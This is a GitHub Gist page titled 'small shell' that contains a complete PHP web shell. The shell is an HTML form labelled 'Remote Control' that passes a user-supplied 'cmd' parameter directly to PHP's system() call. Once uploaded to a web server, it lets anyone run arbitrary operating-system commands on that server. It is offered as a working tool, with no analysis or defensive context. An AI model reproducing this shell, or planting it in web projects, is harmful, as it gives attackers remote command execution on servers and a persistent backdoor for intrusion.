Created
March 20, 2016 03:06
-
-
Save 0xPwny/80ec42be31ed7ff472ad to your computer and use it in GitHub Desktop.
small shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<title>Remote Control</title> | |
<link rel="stylesheet" href=""> | |
</head> | |
<body> | |
<form method="GET" action="index.php"> | |
<input type="text" name="cmd" placeholder="Enter your command here "> | |
<input type="submit" name="go" value="do it"> | |
</form> | |
<?php if (isset($_GET['go'])) { system($_GET['cmd']); } ?> </body> </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment